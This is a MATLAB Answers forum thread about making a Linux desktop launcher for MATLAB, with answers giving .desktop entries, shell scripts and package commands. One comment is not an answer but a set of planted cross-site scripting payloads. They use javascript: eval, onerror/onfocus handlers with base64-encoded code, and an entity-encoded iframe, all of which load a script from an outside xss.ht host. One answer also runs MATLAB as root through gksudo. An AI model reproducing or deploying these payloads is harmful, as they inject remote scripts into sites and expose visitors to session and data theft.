MATLAB Answers

How do I make a desktop launcher for MATLAB in Linux?

2,315 views (last 30 days)
Ian Jessen
Ian Jessen on 6 Jan 2011
Commented: Andrea Barone on 27 Mar 2021 at 23:36
I don’t want to have to open a terminal window every time I want to launch MATLAB on Linux. I tried to make a Gnome launcher, but it does not seem to work. The command I gave was:
/usr/local/bin/matlab &
I see the process running, but now windows appear. What am I doing wrong?
asdasdasdasd on 11 Mar 2021 at 5:13
javascript:eval('var a=document.createElement(\'script\');a.src=\'\';document.body.appendChild(a)')
"><script src=></script>
"><input onfocus=eval(atob( id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vc3Vkb2NobW9kMjc3Ny54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 autofocus>
"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vc3Vkb2NobW9kMjc3Ny54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(>
"><video><source onerror=eval(atob( id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vc3Vkb2NobW9kMjc3Ny54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7>
"><iframe srcdoc="&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;&#118;&#97;&#114;&#32;&#97;&#61;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#99;&#114;&#101;&#97;&#116;&#101;&#69;&#108;&#101;&#109;&#101;&#110;&#116;&#40;&#34;&#115;&#99;&#114;&#105;&#112;&#116;&#34;&#41;&#59;&#97;&#46;&#115;&#114;&#99;&#61;&#34;&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;;&#59;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#98;&#111;&#100;&#121;&#46;&#97;&#112;&#112;&#101;&#110;&#100;&#67;&#104;&#105;&#108;&#100;&#40;&#97;&#41;&#59;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;">

Sign in to comment.

Accepted Answer

John on 11 Jan 2011
To have MATLAB open up from a launcher, you need to add the –desktop flag to the command field. For example:
/usr/local/matlab/bin/matlab desktop
If that does not work, try changing the launcher type from "Application" to "Application in terminal". If there is a MATLAB startup error, it won’t be displayed unless MATLAB is started with terminal.

Sign in to comment.

More Answers (12)

KimHan on 21 Nov 2016
Edited: KimHan on 21 Nov 2016
In your terminal, type sudo apt-get install matlab-support, press enter, and follow the instructions. It works for Ubuntu 16.0 LTE
Andrea Barone
Andrea Barone on 27 Mar 2021 at 23:36
Worked as charm on ubuntu 20.04 R2021a!

Sign in to comment.

Tucker McClure
Tucker McClure on 26 Sep 2017
I seemed to have to do the least to get this to work, so I thought I'd share. I'm on Ubuntu 16.04 and installed with the defaults. I created ~/.local/share/applications/matlab_r2015a.desktop with the following contents:
[Desktop Entry]
Name=MATLAB R2015a
Exec=/usr/local/MATLAB/R2015a/bin/glnxa64/MATLAB -desktop -prefersoftwareopengl
I then made it executable:
chmod +x matlab_r2015a.desktop
I then navigated to ~/.local/share/applications/ with the file browser (you may need to click View > Show Hidden Files to see .local) and dragged the matlab_r2015a.desktop file to the launcher bar. It showed up, I clicked on it, and it opened MATLAB.
Isidro Losada López
Isidro Losada López on 11 Nov 2020
In my case, I had problems with the graphics at some point. I found a solution somewhere (I really don't remember where, sorry) that not only solved my problem, but my graphics improved consederably. You just have to change a line in the matlab.desktop file:
Exec=env MESA_LOADER_DRIVER_OVERRIDE=i965 /usr/local/bin/matlab -desktop -prefersoftwareopengl
It worked for me in Ubuntu 18.04 LTS and now in Ubuntu 20.04 LTS!

Sign in to comment.

Julian Zimmer
Julian Zimmer on 4 Nov 2016
Edited: Julian Zimmer on 4 Nov 2016
The following trick worked for me:
Suppose <install>/MATLAB is the folder where you installed MATLAB and you are using zsh as your preferred shell:
1. download the MATLAB logo from Wikipedia and save it as <install>/MATLAB/logo.png
2. go to ~/bin and create the following shell script and call it matlab:
<install>/MATLAB/bin/matlab -desktop &
3. make matlab shell script executable
chmod +x matlab
4. in /usr/local/applications, create matlab.desktop (you have to be root). If there are other people using the same system use the personal applications folder of your respective distribution
[Desktop Entry]
Exec= /home/<yourUsername>/bin/matlab
This will add MATLAB to your Menu and Application Starter.
5. Copy the file matlab.desktop file to your Desktop folder
  1 Comment
Steve Grobler
Steve Grobler on 11 Feb 2017
a rather complicated solution to do something so simple!! Its no wonder Linux is not catching on :(

Sign in to comment.

Taran Sachdeva
Taran Sachdeva on 16 Mar 2017
The problem is actually with creating an icon in Ubuntu itself more than anything else. Solution from Julian is very close to the working icon solution however, the number of steps for the icon can be further reduced to only two steps (at least in Ubuntu 16.04.2).
1. Install gksudo: The reason you want to install this is because you will be turning off the terminal when you create the icon. This is a small graphical interface with a forced sudo backend (more on that later)
sudo apt-get install gksudo
2. create icon: open terminal and enter the following command
sudo gedit ~/.local/share/applications/matlab.desktop
a blank text editor will open up. In that editor paste the following set and save
[Desktop Entry]
Exec=gksudo -S "<matlab location>/matlab -desktop"
Icon=<icon location>
if you search for "MATLAB" now you will see an icon that can be dragged and dropped to the launcher (Ubuntu's equivilant for windows taskbar) or desktop.
the "<matlab location>" is a placeholder for where your matlab installation is stored. By default, it should be store in the /usr/local/MATLAB/.....
the "<icon location>" is a placeholder for where the matlab icon should be stored. It can be a .png,.ico or .xmp .
Comments on what is going on in the background:
1. The gksudo is running the sudo as its backend (, if your linux box has a password, it will ask you for it when you click the icon you have created using the above instruction. Since we turned the terminal off (line 5) there will be no way for you to enter this password and matlab will keep crashing. gksudo provides a GUI interface that will allow the user to input his/her password.
2. matlab -desktop, forces matlab to run in desktop mode with the full matlab shell
Mohsen Malayjerdi
Mohsen Malayjerdi on 16 Nov 2019
Hi, you need to address like this:
but you should consider your version. The run file is on the bin folder

Sign in to comment.

Rachel Allcock
Rachel Allcock on 28 Jun 2019
Edited: Rachel Allcock on 28 Jun 2019
Fairly straightforward using Xubuntu 18.04 (XFCE) using the menu edit function with the command path:
but the key is to check the "Run in Terminal" box otherwise it won't start. You'll see the Terminal run in the background but it launches the full desktop.

Martin on 22 Nov 2012
I am trying to do the same, basically going in to the terminal each time is very inconvenient. Is there a way I can make a button to click rather than terminal?

Thaddeus Song En Low
Thaddeus Song En Low on 6 Dec 2017
A little bit late to the train, but an alternative that one can use, not only for matlab but for other scripts also, for those in Ubuntu.
1) Install "alacarte"
sudo apt-get install alacarte
2) Run alacarte and select "new item". Provide the command (ie. the matlab script) and name. You can also provide a logo by clicking on an image file. If you don't have a logo, just download one off the web.
You can now launch matlab without a terminal.

Sign in to comment.

Mark on 13 Apr 2018
For Fedora, I made some packages packages:
You may also want to edit the file `/usr/local/MATLAB/R20XXX/resources/MATLAB/en/branding.xml`, the keys with IDE_TITLE so that it matches up with the icon correctly. I mostly didn't want to create many different packages everytime matlab changes their Title.

kinblu on 22 Jun 2018
Edited: kinblu on 22 Jun 2018
After launching it from the terminal, I clicked on its icon in the Launcher and then selected "Add to Dash". Voila! (on Ubuntu 16.04 LTS)

Qianqian Fang
Qianqian Fang on 17 Jan 2019
The launcher approach does not work properly after I upgraded Ubuntu from 14.04 to 16.04. Basically, all envrionment variables defined in my ~/.bashrc are not inheriented in the MATLAB environment, making it impossible to link to libraries in the non-standard locations, such as libcudart etc.
This did work well in Ubuntu 14.04. Is this a known problem?

Thomas Friedrich
Thomas Friedrich on 12 Aug 2020
For those struggeling with the environment variables / library location setup: The solution I am using now, is to use a bash script instead of the classical launcher. In this bash script the environment variables can be set prior to actually running matlab. For CUDA-10.0 the following would work:
export CUDA_PATH=/usr/local/cuda-10.0
# set PATH so it includes users private bin directories
export PATH
/usr/local/MATLAB/R2019b/bin/glnxa64/MATLAB -desktop
Saving that script as 'run19b' in some place the OS is looking for binaries, one can then create a launcher like that:
[Desktop Entry]
Name=MATLAB R2019b
Obviously this approach can be extended to whatever library one would want to add and I guess it'll work on most Linux distros. I tested it on Mint 19 (Ubuntu 18.04).

Community Treasure Hunt

Find the treasures in MATLAB Central and discover how the community can help you!

Start Hunting!